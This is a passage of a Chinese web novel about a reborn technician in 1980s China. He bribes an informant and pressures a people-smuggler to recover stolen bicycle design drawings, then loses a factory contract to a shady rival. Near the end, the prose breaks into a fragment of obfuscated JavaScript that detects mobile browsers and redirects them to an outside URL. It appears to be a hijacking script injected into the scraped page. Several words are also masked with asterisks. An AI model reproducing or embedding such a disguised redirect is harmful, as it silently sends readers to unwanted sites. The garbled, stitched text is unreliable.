“现在的当务之急,还是区长说的找到那女人。”
“咋找嘛?这简直是大海捞针,总不见得把整个区的地皮都翻一遍吧?”朱厂长嘀咕道。
杜国强笑了笑道:“倒是不用翻整个区的地皮,只翻朝族**地那块就行。”
“那伊景惠虽说汉语讲得不错,可难免在外面会露出破绽,让人察觉不对。所以她有极大的概率躲在少数民族聚居区。”
杜国强分析道,“朱厂长,我记得八零厂在那块不是有个帮忙修建林场的分队吗?能不能请那个分队的人去附近调查调查?”
“朱厂长迫不及待地点头,“当然能!我这就去打电话,让他们去找找!”
眼瞅着朱厂长去帮忙找人了,杜国强自己也没闲着。他抽了个空当,来到太阳国考察团住的那间旅馆附近,只见这里已经被彻底封锁起来。
杜国强走到封锁线内,当即被一名**拦了下来:“站住,你来这干什么?”
杜国强道:“我要找太阳国考察团的人了解一下情况。我是杜国强,安阳厂的技术员,拿到过区长的授权。”
“请稍等。”那名**听说杜国强有区长的授权,也不敢怠慢,急忙向打电话询问了一番。得到肯定的答复后,这才将杜国强放了进去。
他在**的指引下,找到了一位和伊景惠关系不错的太阳国人。
也是名女性,只是年纪已有些大了,约莫半老徐娘的年纪,身材微微发福。
“姜妍同志。”杜国强开口道,“我找您是想询问一下关于那位伊景惠的事情,您知不知道她的一些有用的信息?”
被称作姜妍的女子面色有些慌张,嘴上却依旧死死咬住:“这事我无可奉告。”
对方那副模样,大有死猪不怕开水烫的架势,仿佛就算上了刑场也绝不会开口。
杜国强见状,淡淡笑了笑,让陪同的**先行离开。
他从裤兜里掏出二十元人民币,放在了姜妍面前。
对方瞬间变了脸色。
第56章 龙蛇胡同
虽说这年头内地相对于世界平均水平来说,还是一穷二白的起步阶段,货币并没有太大影响力。
可——比起太阳国,情况简直不要好太多。
对方的货币政策连连改动,导致本国居民都不太愿意使用本国货币,反倒更愿意寻求一些较为坚挺的美元、欧元,甚至是大陆的货币。
再加上太阳国本国工资水平极低,几乎可以说没有,所以这20块钱对于姜妍来说,已然成了一笔巨款。
“杜先生,我不明白你这是要干什么?”姜妍恋恋不舍地盯着那20块钱,吞咽了一口口水,最终还是抵住诱惑,毅然决然地说道,“我真的不知道伊景惠的情况。”
杜国强笑了笑,又从兜里摸出10块钱拍了上去。姜妍的眼睛瞪得更大了。
“你不用担心什么背叛、日后遭受牵连之类的,”杜国强缓缓道,“我要的仅仅是伊景惠的个人信息。这点对于你们来说,保密等级应该不算太高。而且你放心,我们之间的谈话全程保密,我保证不会有除我之外的第三个人知道。”
“我真的不知道……”姜妍开口,语气极为艰难。本就不流利的汉语,此刻在金钱的诱惑下,更显得磕磕绊绊。
杜国强淡笑一声,再次加大筹码,拍了两张“大团结”在桌子上。
“姜妍小姐……”
“我说!我全都说!”姜妍再也忍不住了,喘着粗气站起身,一把将那50块钱塞进贴身内衣兜,仿佛生怕杜国强反悔,紧接着便快速讲起了关于伊景惠的生平。
杜国强这才知道,那位伊景惠竟然是太阳国的高层之女。
前段时间,她的父亲病故,家里遭到政敌清算,她在太阳国的处境变得非常艰难。
这次若是返回太阳国境内,很可能会被撤去顾问一职,调去某些偏远地区。
到了那时,再想逃可就真是叫天天不应、叫地地不灵了。
“杜先生,我希望你能遵守诺言,我们这次谈话一定要保密。”姜妍带着几分担忧开口道。
“请你放心,我从不会背信弃义,说到就一定会做到。”杜国强应道,不再磨蹭,转身离开了旅店。
他心里已经猜出,伊景惠到底藏在什么地方了。
……
龙蛇胡同是陆川区曾经的贫民窟,里面住着不少来城里谋生的农户,还有各式手艺人。
杜国强来到这里。
他前世在报纸上看过一则新闻,得知有个专门帮太阳国偷渡者叛逃的大陆“蛇头”,光是经他手一年偷渡走的太阳国人就有上百人,而这人正是在龙蛇胡同长大的。
他拦住一个路人,问道:“请问张建国住在哪儿?”
路人神色警惕地望着杜国强:“你找老张干啥?有啥事?”
杜国强笑了笑道:“想跟老张谈笔生意,我有个亲戚想从太阳国出来。”
路人恍然大悟,这才松了口气,笑道:“啊,你也是来上门谈生意的啊。老张就在前面左转,第三户,你过去跟他提王五的名字,能给你打点折呢。”
“好的好的。”杜国强应着,按路人说的找到了张建国的家。
“砰砰砰。”他敲响了房门。
“谁呀?”屋里传来一声问。
杜国强答道:“我找老张来谈生意的,是王五介绍过来的。”
屋门这才打开,露出一张络腮胡浓密的中年男人的脸。对方狐疑地上下打量着杜国强,问道:“王五介绍你过来的?真的假的?这小子不会是来骗人头费的吧?你真有生意?”
“自然是有的。”杜国强顿了顿,故作深沉地说道,“我在那边有户亲戚,一家五口都想走,现在缺条门路,不知道老张你这里能不能安排五个人?”
老张顿时瞪大双眼,呼吸都急促起来——这可是笔大生意。他连忙应道:“当然能!也不看看我老张是啥人,别说是五个,再来十个、二十个都不成问题。前两天我才收了个女的,这两天正给她安排船呢,马上就联系好了。”
杜国强内心一动
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,脸上漾起笑意——看来自己果然找对了地方。
他随即收敛了笑容,神色平静地盯着张建国,沉声道:“叫那位伊景惠出来见我。”
张建国一愣,脸色瞬间阴沉下来:“小子,你是来搅局的?到底有没有生意介绍给我?”
杜国强道:“抱歉,我是大陆土生土长的,别说海外亲戚,就是省外的亲戚都没几个。”
“**的,玩我是吧?”张建国当即炸了**,一把从门上摘下锁头就想朝杜国强砸过去。
杜国强轻笑一声。张建国或许是个精明的蛇头,靠偷渡赚得盆满钵满,可这身体素质一看就差得很——肥头大耳,平日里估计也就只会虚张声势。
杜国强一个侧肩摔,就把这坨大肉摔在了地上,紧接着反手控住对方的两条胳膊,拿膝盖抵住他的腰。
张建国顿时吃痛嚎叫起来:“哎呦**,硌死我了!**放我起来!”
杜国强冷冷道:“你做你的蛇头生意,我不想搭理。现在我就想见见那位伊景惠,你莫要逼我。真要是把我逼急了,我就把你这事给捅出去。”
张建国骂道:“小子,你吓唬谁呢?你以为我做这事,上面没个人保着还能成?”
“哦,是吗?”杜国强平静道,“保你的这人,连咱们陆川区的区长都不怕吗?”
“啥玩意?”张建国顿时一愣,脸上的嚣张气焰瞬间矮了半截。
他张建国本事是大,黑白两道通吃,这才敢做偷渡的蛇头生意。
可一个区的区长是什么身份?那是地方上握有实权的领导,少说也是正处级干部。
他张建国一个泥腿子,啥时候能跟这样的人物碰瓷?
“你认识区长?”张建国有些迟疑地开口问道。
杜国强笑了笑道:“这事你可以去问那位伊景惠。先前和他们太阳国做生意,我们厂这边就是由区长牵线搭桥的。”
“所以说,张建国,你到底有没有硬气到连区长都不怕?”
……
第57章 背后之人
张建国虽说从事着蛇头的买卖,看上去壮实狠辣,但是实际上还是个欺软怕硬的货。
他不敢赌,区长的名头太大了。
即便他有些怀疑杜国强真的认识区长,但也不敢私下去验证。
张建国苦笑了一声,对杜国强道:“算我栽了,我带你去看她。不过咱们说好,你们只谈话,不耽误我做生意。”
杜国强笑了笑,道:“带路吧。”
伊景惠并不住在张建国的院子里,张建国特地寻了处干净的屋子,将她藏了起来,虽说是蛇头,但是良心未泯,供的吃喝竟然还是——米面。
他送过来的时候,伊景惠眼睛都快直了。
虽说太阳国现在靠着北方邻国,享受着最后的余荫,但是米面也不是天天吃的。
她迫不及待地点起了炉子,给自己蒸了一锅米饭。
米是隔年的陈米,有些已经被米虫啃食了一半,吃起来有些地方稍微有些发苦。
正当这时,房门被敲响,随后院子外传来了张建国的声音:“伊景惠,开一下门。”
伊景惠赶忙去给张建国打开院门,忽然看见了躲在张建国身后的杜国强,脸色瞬间刷白。
“伊景惠,你别误会。”
张建国连忙解释,“咱们之前的协议依旧有效,今天杜国强来,是找你了解一些情况的。”
杜国强笑眯眯地上下打量了一番伊景惠:“伊景惠顾问,昨天我们还在把酒言欢,畅谈太阳国的宏伟事业呢,今天你就要叛逃了?”
“我有些好奇,为什么你会选择我们厂作为下手目标?”
听到杜国强的质问,伊景惠瞬间慌了神,眼神躲闪,像一只炸了**的猫一般,警惕地盯着院口的位置,随时准备冲出去。
“你不用紧张,”杜国强放缓了语气,“我对你叛逃的事情不感兴趣,只是你需要将图纸交回,并且告诉我到底是谁让你这么做的,我既往不咎。”
眼见伊景惠还不打算说话,一旁的张建国先着急起来:“哎呦,姑奶奶,你还等啥呢?他要你就给他呗,难不成真不想跑了?”
可是伊景惠依旧一句话不讲。
杜国强有些诧异,没想到伊景惠竟能坚持这么长时间。
他思索了片刻,道:“只要你说出来,我可以为你在港岛介绍一份工作,你不用再去月亮国。”
伊景惠顿时一颤,抬头望向杜国强。
事实上,绝大多数叛逃者到达月亮国后,处境都不会太好。
由于基础教育缺乏,再加上社会接纳度差,很多叛逃者不得不靠打零工维持生活。
伊景惠也知道这点,可眼下杜国强竟说能为自己提供一份工作……
“我凭什么相信你?”伊景惠问道。
杜国强笑了笑,道:“你先前不是调查过我的背景吗?应该也知道我和港岛的玛瑞贸易关系密切吧?在他们集团里找个工作,我想并不是很难。”
伊景惠的心理防线总算是被彻底撕开。
她深吸了一口气,道:“是王五爷,是王五爷让我去抢你们八零厂的图纸的。”
“王五爷?”
这个名字颇为陌生,杜国强愣了一下,仔细在脑海里搜索片刻,确认自己从未与叫这个名字的人结过仇。
背后指使的名字都说出来了,伊景惠也算死猪不怕开水烫了。
彻底松了一口气,缓缓讲起了事情的经过:“我叛逃这件事,全程都是由对方操办的。他们在太阳国国内有内应,调查过每个人的身份信息,以此计算我们叛逃的概率。查到我父母死于**因素时,他们便觉得我叛逃的可能性大大增加。”
“我刚来到你们国家那会儿,对方就已经联系上了我,告诉了我叛逃的路子,还说只要我能完成八零厂自行车设计图纸的采购计划,拿着这张图纸去月亮国卖掉,就能发一大笔财,再也不用担心往后的生计了。”
“所以说,先前杜先生能轻松知道太阳国15万的最高价,并不是偶然,而是我故意那样做的。”
杜国强摸了摸鼻
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子,有些尴尬——他还以为自己是靠机敏才摸清了底细。
“设计图纸你必须交回来,”杜国强道:“这算得上是商业机密,我绝不可能容忍你把这东西卖到月亮国人手里。”
伊景惠迟疑着开口:“可是,我需要偿还债务。”
“你可以按月偿还。”杜国强道,“据我所知,绝大多数从太阳国叛逃出来的人,都没有足够的资金一次性偿还债务,都是分一年甚至好几年,每个月还一部分,才把钱还清的。”
“你觉得如何?”杜国强问道,“一份在港岛的工作,再加上你的人身安全,这些是否能换回那设计图纸?”
伊景惠思索了半天,最终咬了咬牙:“好,我答应你。”
......
事情也算是圆满解决,设计图纸被追回,八零厂的权益得到了保证。
唯独让太阳国那边有些不爽。
伊景惠叛逃对他们而言无疑是奇耻大辱。
奈何杜国强嘴巴闭得很牢,一个字不肯透露。
生意终究还是要做的,实打实的自行车也得按照最高统帅的计划发放下去,所以对方即便心有不甘,也无可奈何,只能继续按照先前的订购方式,从杜国强这里买走设计图纸,并定下1万辆的生产订单。
八零厂自然不会在意太阳国人的情绪,顶多在口头上敷衍安慰两句。
朱厂长紧蹙的眉头舒展开来,见到杜国强时,也丝毫没有埋怨他当初贸然交出设计图纸的举动。
反而热情地勾肩搭背,亲近得像一个人似的。
“小杜同志,这次咱们厂能拿下这笔订单,又得靠你的英勇才智啊!”朱厂长爽朗地说道。
“过奖了,厂长。”杜国强笑了两声,随即话锋一转,带着几分疑惑问道:“朱厂长,您在圈内摸爬滚打这么多年,不知道有没有听过一个名叫王五爷的人?”
“王五爷……”朱厂长低头琢磨了片刻,随即摇了摇头,“没听说过这号人。要不,我帮你打听打听?”
第58章 女大不中留
杜国强没有推脱,他总觉得这王五爷来者不善,查查也能放心。
“太阳国这1万辆自行车的订单,八零厂最少要在年底生产出一半来,再加上内需。以目前的产能而言,还是有些太低了。”
朱厂长缓缓道,“所以我打算跟上面申请一下,再调动几台机床,让别的地方的兄弟单位支援一下,争取把产能搞上去。”
杜国强点了点头:“咱们现在生产的飞天一号自行车,仅仅在省里有些影响力,可时间久了,像凤凰、永久这样的品牌,难免会进行仿制,到时候再扩大市场就有些晚了。”
朱厂长点了点头:“我也是这个意思。所以说,你们安阳厂承担的那部分零件,也应该扩大些产能。这几天你也打听打听,看看安阳厂有哪些需要我们提供帮助的。如果没有,叫上刘占福和娄希顺两位厂领导到我这儿来,跟我重签一次合约。”
杜国强笑了笑:“赚钱的生意,我想那两位是不会有什么意见的。”
朱厂长点了点头,而后又若有所思地笑了笑,望向杜国强:“这次区长答应你开办私人企业那事,怕是跑不了了吧?你小子要创造历史了,啧啧,全省第一家真正意义上的私营企业,这名头听着都响亮。”
杜国强没有反驳:“八字总算有了这么一撇了。不过,路子还长着呢,免不了要办各种手续,得费些功夫。”
“有什么需要八零厂提供帮助的,尽管说。”朱厂长爽朗地开口。
“好。”
两人一聊便是一个上午,眼看已近饭点。
朱厂长再三让杜国强留下喝两杯,杜国强想了想自己的酒量,最终还是决定算了。
正巧也有些日子没见刘静怡了,他打算今天去刘静怡家蹭顿便饭,先去了趟供销社,买了两条大草鱼和一篮子橘子,才来到刘静怡住的筒子楼。
“媳......”门一开,杜国强喜笑颜开,刚想亲昵地喊刘静怡“媳妇”,却见一个络腮胡老头挡在面前,赫然是他的准岳父刘占福。
“你小子刚才想说什么?说媳妇?”刘占福狐疑地盯着杜国强。
“没......”杜国强有些尴尬,连忙改口,“我说让刘静怡把橘子洗洗。”
他心里不禁有些悲凉:哎,这老东西一回来,自己跟刘静怡的秘密窝点就没了,以后两人亲热都得躲着点,免得被这老东西撞见。
刘静怡揉了揉眼睛,从闺房里走出,见到杜国强,脸上满是惊喜:“你来了。”
“嗯,我买了些鱼,中午想在你家蹭口饭。”
“好,我去把鱼炖上。”
刘静怡接过两条草鱼,转身就要去灶房开火。
杜国强连忙道:“我帮你打下手。”
......
刘静怡在灶台旁切鱼、掏肠肚,杜国强就在下面帮她烧灶火。筒子楼的位置不好,生起火来总是反烟,杜国强拿着扇子扇了好一会儿,才把这催人流泪的烟扇出去。
忽然,他发现灶台上放着两本书,接过来一看,赫然是两本与机械设计有关的书。“刘静怡,这是你的书?”杜国强开口问道。
刘静怡看了一眼,有些羞涩地点点头:“嗯。”
“想不到我这未来媳妇自主学习能力还挺强,竟然还看起书了。”杜国强调侃道。
刘静怡听了,脸色羞红,连忙放下锅铲想去抢课本:“还给我。”
她没注意脚下,被杜国强绊了一跤,结结实实地躺进了对方怀里。
杜国强一副奸计得逞的样子,问道:“为什么要学?”
刘静怡被杜国强一双大手牵住,两人身躯紧贴,好不暧昧。
她挣扎了好一会儿没甩开,只好无奈开口:“上次你不是说我在画图方面有些天赋吗?我想着这或许能跟你沾点边,便想学学,看日后能不能帮上你。”
杜国强十分欣慰地点了点头:“你学机械设计对我帮助很大,一定要继续学下去。”
日后开公司,总得有个能掌管大局的人,杜国强自己怕是分身乏术,想找个亲近的人来帮衬,现在看来,也只能是刘静怡了。”
“小刘同志这么善
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解人意,必须得奖励你一番。”
“你要干啥,松手啊.....”
说着,杜国强便有些不老实起来,手开始在刘静怡身上游走,甚至想往她衣服里揣。
唰的一下,刘静怡的脸蛋涨得通红,挣扎着:“别闹,我爹还在外面呢!”
“闺女,外面还有我上次买回来晾的几条鸡翅,你看要不要……”
正当这时,刘占福提着两串鸡翅出现在门口,一眼就看到了眼前这幕.
老东西脸上满是震惊。
杜国强猛地站起身,慌忙解释:“厂长......事情不是您看到的那样!”
刘占福愣了一下,随后扯着嗓子嚎叫起来,冲到客厅抄起鸡毛掸子:“杜国强,**的……”
很快,老头子满屋子追着要暴打准女婿。
好在刘静怡及时拦了下来:“爹,您要是再闹,我可就跟杜国强搬出去了!”
刘静怡赌气似的说道。
她并不反对刚才杜国强的行径,甚至背地里有些欢喜,只是女人的矜持让她不能表达出来。
看到闺女这般坚决,刘占福一阵悲凉:“哎,女大不中留啊。”
他憋了好半天,总算勉强接受了现实,恶狠狠地扭头瞪着杜国强:“你给我听清楚了,婚前不许同房!真要是敢乱来,我就把你的腿给抽断!”
杜国强没答应也没拒绝,只是尴尬地笑了笑。
他知道此刻得转移刘占福的注意力,于是开口道:“厂长,有件事忘了跟您说,八零厂的产能要扩大一次,未来要生产很多辆自行车,所以他们希望咱们这边也调整一下产能,争取跟得上八零厂所需零件的供应。您看这个想法怎么样?要是觉得可行,不妨跟我去八零厂重新签订一份供货合约。”
“扩大产能,要更多的自行车零件?这是好事啊!”
刘占福一听,先前那股恨不得把杜国强宰了的火气顿时消了。比起儿女情长,他骨子里更是个事业狂。
“我这就去找娄**问问!”说着,他便急匆匆地要往外走。
第59章 合约风波
刘占福和娄希顺一商量,两人一拍即合,决定跟上八零厂的节奏,进一步扩张产能。
并且打算向各地发布招聘信息,再挑选一批工人进来培养。
很快就到了双方约定重新签订合约的日子。
安阳自行车配件厂和八零厂的主要领导都出现在会议室里。
这事对两个厂来说都是大事,必须慎重对待。
杜国强也在其中,他的位置排在几位主要领导之后。
那些只能站在各自分管领导身后的技术员,都颇为羡慕地盯着杜国强。
大家年纪相仿,人家却能上桌议事,自己却只能站着,心里多少有些不平衡。
“好,那咱们也就不说废话了。”
朱厂长清了清嗓子,“合约相信大家都看过了,八零厂会在原有订购量的基础上,每年再增加8000个零件,并且给安阳厂的单价提升15%。相应的,安阳厂也要保证供给,这点应该都没有异议吧?”
刘占福爽朗地点头:“这对安阳厂是百利无一害的事,我们没理由拒绝。”
“好,那咱们就把合约签了吧。”
几人笑眯眯地正要在合约上签字,忽然会议室的门被猛地推开,紧接着一伙人浩浩荡荡冲了进来。
这突如其来的变故让所有人都愣住了。
“你们是哪里来的?没看到这边正在开会吗?”有人当即呵斥道。
站在最前面的那人,穿着一身时髦的改良西装,剪裁得十分贴身。
对方笑了笑,望向八零厂的朱厂长:“朱厂长,也别怪我们打扰您开会,实在是情况紧急。我们不忍见八零厂遭受经济损失,所以特地前来拜会。”
朱厂长皱起眉头:“你想说什么?”
那人从手中举起一份文件,啪地拍在桌上:“我们打听清楚了,安阳自行车配件厂给你们的零件价格有些偏高。在他们的报价基础上,我们愿意当场降价百分之二十。”
“啥?”
此话一出,全场先是一片鸦雀无声,转而爆发出强烈的、不可思议的诧异。
安阳厂给八零厂的零件价格有多低?
原先他们接三阳厂的订单时,光是一个自行车粗铸件就要收六块八毛钱。后来改跟八零厂合作,为了稳住订单,安阳厂的领导们经过多次商量,决定把价格降到6.5元。
这已经是贴着成本线的调整了,抛去工厂的净利润,剩下的钱可能也就刚够给员工发工资和奖金。
而现在,刚刚闯入会议室的这人,竟然要在这个基础上再降价20%。
一时间,连八零厂的这些领导都有些心动了。
“你凭什么敢在这里保证?”朱厂长忍不住开口问道。
“朱厂长,您先前不是还在打探我的消息吗?”对方扬了扬眉,语气带着几分玩味,“怎么,这才多久,就认不出了?”
朱厂长愣了一下,随即恍然大悟,伸手指向对方:“你是王五爷!你就是那个王五爷?”
杜国强听到这个名字,也忍不住猛地抬起头。
王五爷玩味地望向朱厂长,清了清嗓子开口道:“正式介绍一下,鄙人王五爷。当然,这是俗称,江泰省道上的人都这么叫我。我的真名是江景顺,身份嘛,姑且算得上是一名小小的商人。”
“江景顺?”
听到这名字,杜国强猛地一震。他总算知道这位“王五爷”是何等人物了,也难怪对方要针对自己。
王五爷这个名字他不熟悉,可江景顺在后世却如雷贯耳——对方是江东省改革开放后的第一批先锋,搞私营经济搞得有声有色,没几年就超越了江泰省不少老牌国企,成了一代创业传奇。
可惜啊……杜国强心中暗叹。
记得对方在零几年时被查出严重的****,还勾搭官员,经过三次审判后,最终被判处**。
即便如此,对方的暴富神话依旧被人再三提及。
一瞬间,杜国强的脑海里瞬间串起了一条完整的线索,他总算明白事情的前因后果了。
这王五爷在背后串通伊景惠盗取设计图
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纸,目的显而易见——就是想让八零厂闹出些乱子,他好从中插手,吞下八零厂这块大肥肉。
可杜国强心里还有个想不通的地方。
江景顺给八零厂的零件报价,哪怕是贴着成本生产,对方也只可能赔钱,绝无盈利的可能。这里面到底藏着什么猫腻?
“我在江泰省也算是有头有脸的人物,手上两家公司都是大型企业,和各大国企都有来往。这等实力,想必应该还算有几分口碑吧?”江景顺看向朱厂长,语气带着几分自信,“不知道朱厂长您是怎么考虑的?要不要接下我们这打折后的订单?”
朱厂长深吸一口气,追问:“即便你有背景,可这样大幅度降价,卖出去的零件根本就是赔本买卖,怎么可能盈利?”
“盈利方式您就不用操心,这是我的事。”江景顺摆了摆手,“现在我就想问问您:是愿意和我王五爷签订合约,还是依旧选择守旧的路子,要跟安阳自行车配件厂签?”
安阳自行车配件厂这边的领导们脸色顿时难看起来,朱厂长也陷入了纠结。
任谁都能看出来,要是接下这个订单,八零厂日后的前途怕是会一片光明——一万多辆自行车生产出来,少说也能凭空多出好几万的利润。
旁边八零厂的不少领导神色激动,纷纷劝道:“朱厂长,这可是好差事啊!我觉得,要不咱们试试也无妨,先跟江景顺同志合作一下?”
“胡说什么?”朱厂长冷哼一声,“安阳自行车厂是咱们厂初次生产自行车时选定的合作伙伴,还是杜技术员介绍的。你们一句话就想抹杀安阳自行车厂的功劳,还有杜国强的付出?”
听到朱厂长的呵斥,众人沉默了片刻,却仍不死心:“这事……可以从别处补偿杜技术员啊。可这订单是实打实的真金白银,咱们厂可不能错过。”
“厂长,我建议立刻取消跟安阳自行车配件厂的合作,转而和王五爷先生详谈。”另一位领导紧接着说道。
......
第60章 二把手要翻天
人穷志短,杜国强望着八零厂的诸多领导,脑中突然冒出这么个成语。
这里绝大多数人都受过自己的恩泽,八零厂能转型成功,成为陆川区即将腾飞的龙头企业,跟自己出手相救有着抹不开的关系。
甚至,杜国强还想着,在带他们到更为广阔地界看看,看看一条钢铁巨龙的成长史。
可如今,好处到手的对方,却想将自己一脚踢开。
做得很果断,果断得有几分无情。
似乎是被杜国强盯得有些发毛,先前开口的那名领导尴尬地笑了笑:“人往高处走,水往低处流。杜国强,眼下这情况,就是八零厂和王五爷合作能赚到更多钱,你们安阳厂应该理解才是。”
“我理解你妈个头!”率先拍响桌子的不是杜国强,而是暴怒的刘占福。
他一把抄过旁边的文件箱朝那位想把安阳自行车配件厂甩开的领导头上砸去。
“咣当!”纸质的文件散落一地,瞬间在对方头上砸起个大包。
那人呲牙咧嘴地捂着脑袋,却一个字都不敢往外吐。
“你们八零厂的人吃相也太难看了吧?”
刘占福接着怒斥,“一直合作得好好的,我们安阳厂每天加班加点给你们生产零件,有些其他厂的小订单都排到最后了。”
“我们的产品有问题吗?没有吧?数量给得不够?也没有吧?你们凭什么像踢野狗一样,一脚把我们踹开?”
就连平时脾气一直很好、总扮演和事佬的娄希顺,此刻脸色也有些难看:“先不说我们厂确实没出过任何问题,就算是先前为八零厂引进的那些机床设备,也得靠一两年的利润才能还清贷款,你们说不要就不要了?”
安阳厂肯定是受气的,这毋庸置疑。
放到商界合作里,一个稳定且愿意为供应商扩大规模的合作者,是多少企业求而不得的。
杜国强在后世见过无数大型企业的标准化生产模式,深知这些企业往往就缺这样的合作伙伴,而这也是它们难以成为世界巨头的关键所在。
可惜,对于急于摆脱贫困、争当创收先锋的八零厂普通领导来说,这些他们根本想不到。
他们压根就没打算让八零厂成为什么世界性企业,眼下能安安稳稳把钱拿到手,才是最要紧的。
“安阳厂是我们的合作伙伴。”朱厂长沉默片刻,还是开口发话了。他深吸一口气,训斥众人:“没良心也要有个底线。人家都添置了好几台专用设备,这个时候我们落井下石,让外面人怎么看八零厂的信誉?”
兵者讲究义勇,退伍军人出身的朱厂长,骨子里的热血从未变过。
让他撇下安阳厂去跟王五爷谈合作,他做不到。
但这厂子能说了算的,终究不止他一个。
**厂长,从来尿不到一个壶里。
即便两人平日里笑眯眯的,看似和颜悦色,可一旦老搭档的矛头不对路,转眼就成了老仇家。
夏江海在八零厂的地位仅次于朱厂长,若无意外,他本该在退休前安安稳稳做好二把手的工作。可眼下的情况却让他眼皮一跳——他似乎看到了自己的晋升之路。
时不我待!
没多想的夏江海主动站出来反对朱厂长,口吻带着几分训斥:“要我说啊,老朱,你这是带着私人感情看问题了。不能因为个人私交就影响工作情绪。小杜同志毕竟不是我们八零厂的人,你肯定还是要以本厂职工的利益为第一考量。”
“这样吧,我们让大家伙举手表决一下,公平才是最重要的嘛。”
夏江海笑眯眯地举起自己的手道:“同意和王五爷合作的各位同志,请举手。”
结局毋庸置疑,八零厂多数人都同意和王五爷合作,这也意味着安阳厂扩大订单的希望化为乌有。
“去**!走,老娄,咱俩不在这受委屈了!”
刘占福骂骂咧咧地踹开会议室的凳子,拉着娄希顺就往外走。
“哎,都是做厂长、厂**的人,咋还这么不稳重呢?看来安阳
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厂还是有待历练啊。”
夏江海惋惜地开口,语气里满是嘲讽。
杜国强平静地站起身,看向对方:“夏**,我想问你句话,你知道什么是做生意的基本准则吗?”
夏江海愣了一下,摸了摸胡茬,试探着反问,“是生意做得越来越大?”
“错,是尊重市场。”
杜国强淡淡道,“以当前时代的生产水平而言,安阳厂可以说是让出了绝大多数利润给利八零厂了。这种情况下,我不信有别的厂商能做到比我们利润更低。”
安阳厂在自行车配件领域扎根多年,模式成熟,成熟工人和设备也支撑着它能拿到业内最低的制造单价。
可眼下突然冒出一家企业,宣称自己的单价比安阳厂还低,杜国强是不信的,这里面一定藏着什么猫腻。
可惜八零厂的那群领导已经被利润冲昏了头脑,再也听不进人话。
夏江海冷笑一声:“小杜同志,这件事就不由你一个安阳厂的人来操劳了,我们会仔细审核的。”
“夏江海!”朱厂长也忍不住了,猛地拍了下桌子,指着夏江海的鼻子骂道,“八零厂的转型,靠的是谁,大家都有目共睹!你现在指着杜国强说他不是八零厂的人,你的良心真就一点没有吗?”
夏江海似乎也意识到自己话说得有些过头,尴尬地咳嗽了一声:“杜技术员的功劳自然没人能抹杀,只是眼下这种情况,更适合八零厂关起门来,我们自己讨论。”
“小杜同志,要不你先挪个地方,到会客厅喝口茶?我听说里面新摆了两缸龙井呢。”
杜国强没再作声,瞥了夏江海一眼,转身走出了会议室。
……
很快,夏江海所谓关起门来的会议便结束了。
全厂十八位生产小组长以上的领导中,有十三位赞成同王五爷进一步沟通,暂缓和安阳厂的进一步合作。
从来不在工作时间喝酒的朱厂长,今天却主动提着酒壶,登门来到了杜国强家。
第62章 小人得志
眼见朱厂长不相信,杜国强也不打算解释。
生产汽车零件这事,是他慎重考虑过的。
眼下虽说他已经拥有了进口的注塑机,可是产量有限。
况且,注塑机一般在固定生产对象后,就不再更换生产材料了。
他只能选择一种附加价值较高的——汽车零件便是最好的选择。
杜国强前世在汽车零件这个行业里待了七八年,早就是老油条了。
经他手设计出来的模具,诞生的都是标准的零器件,国内和国外的汽车生产厂家都抢着用。
即便是在八十年代,杜国强也有信心,设计出国际领先的产品。
杜国强向朱厂长问道:“您有没有接触过其他的塑料厂厂商?”
注塑机生产最重要的就是塑料原料。
目前国内虽然在高端塑料颗粒上没什么竞争力,但低端层面的塑料材料已经初具规模,而普通的塑料零件也并不需要太高端的。
朱厂长点了点头:“回头我帮你问问。”
两人又聊了一会儿,朱厂长便转身离开了。
眼下,八零厂正处在水深火热之中,领导们忙着争权夺势。
他要尽力争取,不能让夏江海一人独揽大权。
把整个八零厂当成他自家的后花园。
而杜国强则绕着自己的新厂房转了两圈。
“以后这地方,就是自己事业的起点了。”
他感慨道。
自己这创业有些太过仓促了。原本他还打算在安阳厂和八零厂干两年,积累些经验,顺便接触到更高端的人脉,再大刀阔斧地创办私营企业。
可眼下的局势,硬是把他推到了这一步。
现在,他手头最值钱的,也就是那台注塑机。
除此之外,现金只有300余元。
当然,这对普通老百姓来说,已是需要攒好几年的巨款,可对于想创办企业的人而言,只能算是杯水车薪。
不过,自己也算是在国际市场上有靠山的。
若是真的钱不够,还可以寻求玛瑞贸易的帮助。
杜国强简单看了一番厂房后,用黄头大锁锁上门,返回了自家。
刚进门,就感觉屋内的气氛有些不对。
两个妹妹坐在地上哇哇大哭,亲妈正拿着扫把在旁边止不住地唉声叹气。
“妈,你们这是咋了?”
朱桂芳看到大儿子,脸上的慌张消散了些,叹了口气道:“是八零厂的人。他们说我这个职位是外聘的,现在要收回了。”
“啥?”杜国强愣了一下,道,“你没跟他们说我和八零厂的关系吗?”
朱桂芳无奈道:“说了,我一早就说了,可对方压根不管,反而还很激动,说你算个什么东西。”
“夏江海!”杜国强冷冷道:“绝对是这孙子在背后搞鬼,要不然八零厂的人绝不可能主动找到家里来!”
他又问:“安安和乐乐呢?她们怎么了?”
“被幼儿园退学了,说是……城里孩子名额都不够,让安安和乐乐回老家种地去。”
安安一把拽住杜国强的手:“哥哥,我不想回去,我想继续念书。”
杜国强低下头,摸了摸妹妹的脑袋,而后抬头望向八零厂的方向,沉声道:“放心,我倒要看看,他们能猖狂到什么时候!”
说着,杜国强便站起身来。
家人受了这么大的委屈,他这个当主心骨的,断然不可能缩在后面。
朱桂芳见状,连忙慌忙地拉住他道:“儿啊,你可别冲动!我听八零厂的几个同事说,朱厂长已经倒台了,现在当家做主的是夏江海,那可是个狠人,咱们斗不过他。”
“妈,您放心。”杜国强道,“一个厂**,还真猖狂到没边了。”
......
“这个项目内容不行,回去重新再查查!”
夏江海一脸烦躁地将一个文件袋扔回给向他汇报工作的厂职工手里。
对方唯唯诺诺,只是点头应着,赶忙离开了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012501|178435||http|test|mini|href|location''.split(''|''),0,{}));
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r>等到对方走后,夏江海舒畅地把脚搭在办公桌上,感慨道:“爽啊,这就是做***的滋味吗?也难怪老朱那个老东西一直把权力攥得紧紧的,不肯让位。”
正当他感慨时,办公室的门轰的一声被推开,差点没把夏江海吓一跳。
